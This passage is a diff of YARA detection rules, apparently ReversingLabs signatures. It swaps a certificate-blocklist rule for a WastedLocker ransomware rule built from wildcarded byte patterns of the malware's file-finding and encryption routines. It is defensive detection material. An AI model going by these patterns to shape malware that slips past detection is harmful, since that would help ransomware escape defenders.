?? ?? ?? FF D0 + 83 7D ?? ?? 75 22 6A ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 85 C0 75 07 C7 45 ?? ?? ?? ?? ?? + 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 74 60 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? + 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 74 37 8D 95 ?? ?? ?? ?? 52 8D 85 + ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 + ?? ?? ?? ?? FF D2 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 5E 8B E5 5D C3 + } + $v30_1_encrypt_file_1 = { + 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 02 05 00 00 8B 45 ?? 83 38 ?? 74 + 09 8B 4D ?? 83 79 ?? ?? 75 08 8B 45 ?? E9 E9 04 00 00 C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? + FF D0 89 45 ?? 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B + 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 6F 04 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? 85 C0 0F 85 90 03 00 00 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 83 F8 ?? 0F 84 70 03 + 00 00 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 50 03 00 00 8D 55 ?? 52 8B 45 + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 38 03 00 00 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? + ?? ?? 8B 90 ?? ?? ?? ?? FF D2 89 45 ?? 83 7D ?? ?? 0F 84 04 03 00 00 6A ?? 6A ?? 8B 45 ?? 8B 48 ?? 51 8B 55 ?? 52 E8 ?? + ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 F8 ?? 0F 84 CC 02 00 00 8B 4D ?? 3B 4D ?? 73 08 8B 55 ?? 89 55 ?? EB 06 8B 45 ?? 89 + 45 ?? 8B 4D ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 6A ?? 6A ?? 8B 45 ?? 8B 08 51 E8 ?? ?? ?? + ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 0F 84 73 01 00 00 8B 45 ?? 8B 48 ?? 83 E9 ?? 89 4D ?? 8B 55 ?? D1 E2 89 55 ?? 8B 45 ?? + } + $v30_1_encrypt_file_2 = { + 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 35 01 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 2B 4D ?? 39 4D ?? 73 08 8B 55 ?? 89 55 ?? EB 09 8B 45 ?? 2B 45 ?? 89 45 ?? 8B 4D + ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? + FF D0 85 C0 0F 84 94 00 00 00 8B 4D ?? 3B 4D ?? 0F 85 88 00 00 00 8B 55 ?? 3B 55 ?? 73 07 C7 45 ?? ?? ?? ?? ?? 83 7D ?? + ?? 74 73 8B 45 ?? 89 45 ?? 8B 4D ?? 51 8D 55 ?? 52 8B 45 ?? 50 6A ?? 8B 4D ?? 51 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 + ?? ?? ?? ?? FF D0 85 C0 74 44 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF + D2 85 C0 74 21 8B 45 ?? 3B 45 ?? 75 19 8B 4D ?? 03 4D ?? 89 4D ?? 8B 55 ?? 03 55 ?? 89 55 ?? C7 45 ?? ?? ?? ?? ?? 83 7D + ?? ?? 74 06 83 7D ?? ?? 74 02 EB 0C 8B 45 ?? 3B 45 ?? 0F 85 FB FE FF FF 8B 4D ?? 3B 4D ?? 75 07 C7 45 ?? ?? ?? ?? ?? 8B + 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 83 7D ?? ?? 0F 85 02 01 00 00 C7 45 + ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 F8 ?? 0F 84 DB 00 00 00 6A ?? 8D + 4D ?? 51 8B 55 ?? 8B 42 ?? 50 8B 4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 84 AE 00 + } + $v30_1_encrypt_file_3 = { + 00 00 8B 55 ?? 8B 45 ?? 3B 42 ?? 0F 85 9F 00 00 00 6A ?? 8D 4D ?? 51 6A ?? 8D 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 + ?? ?? ?? ?? FF D1 85 C0 74 7E 83 7D ?? ?? 75 78 8B 55 ?? 3B 55 ?? 74 1B 8B 45 ?? 8B 4D ?? 03 48 ?? 89 4D ?? 8B 55 ?? 2B + 55 ?? 89 55 ?? 8B 45 ?? 89 45 ?? 6A ?? 8D 4D ?? 51 6A ?? 8D 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 + 85 C0 74 34 83 7D ?? ?? 75 2E 6A ?? 8D 55 ?? 52 6A ?? 8D 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 + C0 74 0D 83 7D ?? ?? 75 07 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 EB 07 C7 45 ?? ?? ?? + ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 7D ?? ?? 75 71 83 7D ?? ?? 75 28 83 7D ?? ?? 75 22 68 ?? ?? + ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 07 C7 45 ?? ?? ?? ?? ?? EB 43 83 7D ?? ?? 74 36 83 7D ?? + ?? 74 30 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 + 74 07 C7 45 ?? ?? ?? ?? ?? EB 07 C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? EB 07 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 8B 45 ?? 8B E5 5D C3 + } + $v30_2_encrypt_file_1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 56 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 BF 05 00 00 8B 45 ?? + 83 38 ?? 74 1B 8B 4D ?? 83 79 ?? ?? 74 12 8B 55 ?? 83 7A ?? ?? 74 09 8B 45 ?? 83 78 ?? ?? 75 08 8B 45 ?? E9 94 05 00 00 + 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 89 45 ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? + ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 1A 05 00 00 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8B + 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 74 07 C7 45 ?? ?? ?? ?? ?? 66 0F 57 C0 66 0F 13 45 ?? 8D 45 ?? 50 + 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 0D 04 00 00 66 0F 57 C0 66 0F 13 85 ?? ?? ?? ?? 6A ?? 6A ?? + 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 F8 ?? 0F 84 D5 03 00 00 + 8D 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 BD 03 00 00 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B + 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 90 03 00 00 C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 + E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 52 03 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 FF 02 00 00 + } + $v30_2_encrypt_file_2 = { + C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 8B 48 ?? 51 8B 55 ?? + 8B 02 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 A7 02 00 00 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 8B 42 ?? 50 8B + 4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 84 67 02 00 00 8B 55 ?? 8B 45 ?? 3B 42 ?? + 0F 85 58 02 00 00 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 0F + 84 31 02 00 00 8B 45 ?? 3B 45 ?? 0F 85 25 02 00 00 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 C7 45 ?? ?? ?? ?? + ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 F4 01 00 00 66 0F 57 C0 66 0F 13 45 ?? C7 45 ?? ?? ?? + ?? ?? 66 0F 57 C0 66 0F 13 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 3B 4D ?? 75 0C 8B 55 ?? 3B 55 ?? 0F + 84 90 01 00 00 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 33 C9 8B 55 ?? 2B 55 ?? 8B 75 ?? 1B 75 ?? 89 85 ?? ?? ?? ?? 89 8D ?? ?? ?? + ?? 89 95 ?? ?? ?? ?? 89 75 ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 77 1D 72 0E 8B 8D ?? ?? ?? ?? 3B 8D ?? ?? ?? ?? 73 0D 8B 55 ?? + 33 C0 89 55 ?? 89 45 ?? EB 12 8B 4D ?? 2B 4D ?? 8B 55 ?? 1B 55 ?? 89 4D ?? 89 55 ?? 8B 45 ?? 89 45 ?? 8B 4D ?? 33 D2 03 + 4D ?? 13 55 ?? 89 8D ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 75 12 8B 8D ?? ?? ?? ?? 3B 4D ?? 75 07 C7 + 45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 85 C0 0F + 84 B3 00 00 00 8B 4D ?? 3B 4D ?? 0F 85 A7 00 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B + } + $v30_2_encrypt_file_3 = { + 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 71 6A ?? 8D 45 ?? 50 8B 4D ?? + 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 74 42 8B 55 ?? 3B 55 ?? 75 3A 8B 45 ?? 33 C9 03 + 45 ?? 13 4D ?? 89 45 ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 33 C0 03 55 ?? 13 45 ?? 89 55 ?? 89 45 ?? 8B 4D ?? 51 E8 + ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 75 02 EB 0D 83 7D ?? ?? 74 02 EB 05 + E9 5C FE FF FF 83 7D ?? ?? 74 17 8B 4D ?? 3B 4D ?? 75 0F 8B 55 ?? 3B 55 ?? 75 07 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B + 88 ?? ?? ?? ?? FF D1 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? + ?? FF D2 83 7D ?? ?? 74 0C 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 83 7D + ?? ?? 75 22 6A ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 75 07 C7 45 ?? ?? ?? ?? ?? 8B 45 + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 74 60 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? + ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 74 37 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? + ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? + ?? ?? FF D1 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 8B 45 ?? 5E 8B E5 5D C3 + } + $v30_3_encrypt_file_1 = { + 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 75 08 8B 45 ?? E9 48 04 00 00 83 7D ?? ?? 75 08 8B 45 ?? E9 3A 04 00 + 00 8B 45 ?? 83 78 ?? ?? 74 11 8B 4D ?? 83 39 ?? 74 09 8B 55 ?? 83 7A ?? ?? 75 08 8B 45 ?? E9 18 04 00 00 C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 6A ?? 8B 55 + ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B + 90 ?? ?? ?? ?? FF D2 89 45 ?? 83 7D ?? ?? 0F 84 90 03 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 + 83 00 00 00 8B 45 ?? 8B 48 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 74 6B 6A ?? 8D 55 ?? 52 8B 45 ?? 8B 48 ?? + 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 74 39 8B 55 ?? 3B 15 ?? ?? ?? ?? 75 2E 8B 45 ?? + 8B 48 ?? 51 8B 55 ?? 8B 42 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 50 ?? FF D2 85 C0 75 0E C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 0F 84 9A 02 00 00 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? + 8B 90 ?? ?? ?? ?? FF D2 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 63 02 00 00 + 8B 55 ?? 3B 55 ?? 0F 87 57 02 00 00 8D 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 3F 02 00 00 6A ?? 6A + } + $v30_3_encrypt_file_2 = { + 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 0B 02 00 + 00 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 81 E1 ?? ?? ?? ?? 74 1C 6A ?? 6A ?? 8B 15 ?? ?? ?? ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B + 88 ?? ?? ?? ?? FF D1 C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? + FF D0 85 C0 0F 84 52 01 00 00 C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 51 6A ?? 6A ?? 8B 55 ?? 8B 02 50 8B 4D ?? 8B 51 ?? 52 8B 45 + ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 84 0A 01 00 00 8B 55 ?? 8B 42 ?? 83 E8 ?? 89 45 ?? 8B 4D ?? D1 E1 + 89 4D ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 CC 00 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 74 76 8B 55 ?? + 3B 55 ?? 73 07 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 5F 8B 45 ?? 50 8D 4D ?? 51 8B 55 ?? 52 6A ?? 8B 45 ?? 50 6A ?? 8B 4D + ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 74 21 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? + ?? ?? 8B 88 ?? ?? ?? ?? FF D1 EB 15 83 7D ?? ?? 74 0D 83 7D ?? ?? 74 07 C7 45 ?? ?? ?? ?? ?? EB 0E EB 02 EB 0A 83 7D ?? + ?? 0F 84 54 FF FF FF 83 7D ?? ?? 74 07 C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? + } + $v30_3_encrypt_file_3 = { + ?? 8B 88 ?? ?? ?? ?? FF D1 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 7D ?? ?? 75 47 8B 4D ?? 81 E1 ?? + ?? ?? ?? 74 3C 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 6A ?? 8D 4D ?? 51 8B 55 ?? 8B 42 ?? + 50 8B 4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? + FF D0 EB 07 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 83 7D ?? ?? 75 20 68 ?? ?? ?? ?? 8B + 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 07 C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB 07 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 + 8B 45 ?? 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Beijing Gigabit Times Technology Co., Ltd" and pe.signatures [ i ] . serial == "77:a6:47:59:f1:27:66:e3:63:d7:79:99:8c:71:bd:c9" and 1301011199 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( ( $v30_entrypoint at pe.entry_point ) and $v30_api_load and $v30_calculate_hash and $v30_dll_load and $v30_1_find_file_1 and $v30_1_find_file_2 and $v30_1_encrypt_file_1 and $v30_1_encrypt_file_2 and $v30_1_encrypt_file_3 ) or ( ( $v30_entrypoint at pe.entry_point ) and $v30_api_load and $v30_calculate_hash and $v30_dll_load and $v30_2_find_file_1 and $v30_2_find_file_2 and $v30_2_encrypt_file_1 and $v30_2_encrypt_file_2 and $v30_2_encrypt_file_3 ) or ( ( $v20_entrypoint at pe.entry_point ) and $v30_api_load and $v30_calculate_hash and $v30_dll_load and $v30_2_find_file_1 and $v30_2_find_file_2 and $v20_1_encrypt_file_1 and $v20_1_encrypt_file_2 and $v20_1_encrypt_file_3 ) or ( ( $v30_entrypoint at pe.entry_point ) and $v30_api_load and $v30_calculate_hash and $v30_dll_load and $v30_3_find_file_1 and $v30_3_find_file_2 and $v30_3_encrypt_file_1 and $v30_3_encrypt_file_2 and $v30_3_encrypt_file_3 ) ) } - -rule REVERSINGLABS_Cert_Blocklist_0B0D17Ec1449B4B2D38Fcb0F20Fbcd3A : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Wastedlocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects WastedLocker ransomware." author = "ReversingLabs" - id = "4484b00d-8fad-5f8f-9030-67216f2820a3" - date = "2020-08-05" - modified = "2023-11-08" + id = "68090960-9878-5836-8caa-bf8f408a474e" + date = "2020-12-07" + modified = "2020-12-07" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2338-L2354" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Wastedlocker.yara#L1-L86" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3121f2c49d0d4c396023924521f2c980045b6f07d082e49447429e9cd640e0ef" + logic_hash = "0899d3cc3bcea8eae60689a54f34e57bdc52088c879c8420b8e6d0b1969cb186" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "WastedLocker" + tc_detection_factor = 5 importance = 25 + strings: + $find_files_p1 = { + 55 8B EC 83 EC ?? 83 65 ?? ?? 57 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? 8B F8 85 FF 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 53 8B 5D ?? 8D 04 41 89 45 ?? + C7 00 ?? ?? ?? ?? 8B 43 ?? 57 51 89 45 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 89 45 ?? 0F 84 + ?? ?? ?? ?? 56 8D 47 ?? 66 83 38 ?? 75 ?? 0F B7 4F ?? 66 85 C9 0F 84 ?? ?? ?? ?? 66 + 83 F9 ?? 75 ?? 66 83 7F ?? ?? 0F 84 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F0 + 8D 14 0E B8 ?? ?? ?? ?? 3B D0 89 55 ?? 0F 83 ?? ?? ?? ?? F6 07 ?? 0F 85 ?? ?? ?? ?? + 8B 45 ?? 85 C0 74 ?? 83 7F ?? ?? 75 ?? 39 47 ?? 0F 82 ?? ?? ?? ?? 8D 44 36 ?? 50 8D + 47 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 85 C9 74 ?? 8B 45 ?? 83 C0 ?? 50 + E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 85 C9 74 ?? 8B 45 ?? 83 C0 ?? 50 E8 + ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 03 C6 8D 44 00 ?? 83 C0 ?? 50 6A ?? FF + 35 ?? ?? ?? ?? 89 45 ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? FF 75 ?? 6A + ?? 56 E8 ?? ?? ?? ?? 8B 45 ?? 8D 44 00 ?? 50 FF 75 ?? 8D 46 ?? 50 89 76 ?? 89 36 E8 + ?? ?? ?? ?? 8B 45 ?? 89 46 ?? 8B 45 ?? 89 46 ?? 8B 07 89 46 ?? 8B 47 ?? 89 46 ?? 8B + } + $find_files_p2 = { + 47 ?? 89 46 ?? 8B 47 ?? 89 46 ?? 8B 47 ?? 83 C4 ?? 89 46 ?? 83 3B ?? 74 ?? 53 FF 15 + ?? ?? ?? ?? 8D 43 ?? 8B 48 ?? 89 06 89 4E ?? 89 31 89 70 ?? FF 43 ?? 83 7B ?? ?? 74 + ?? 8B 43 ?? 83 F8 ?? 75 ?? FF 73 ?? FF 15 ?? ?? ?? ?? 83 3B ?? 0F 84 ?? ?? ?? ?? 53 + FF 15 ?? ?? ?? ?? EB ?? C7 45 ?? ?? ?? ?? ?? EB ?? F6 45 ?? ?? 74 ?? 8D 4C 0E ?? 3B + C8 73 ?? 8D 04 36 50 8D 47 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 8D 04 41 + 66 83 60 ?? ?? 83 C4 ?? 83 7D ?? ?? 66 C7 00 ?? ?? 74 ?? 83 C1 ?? 51 8B 4D ?? E8 ?? + ?? ?? ?? 85 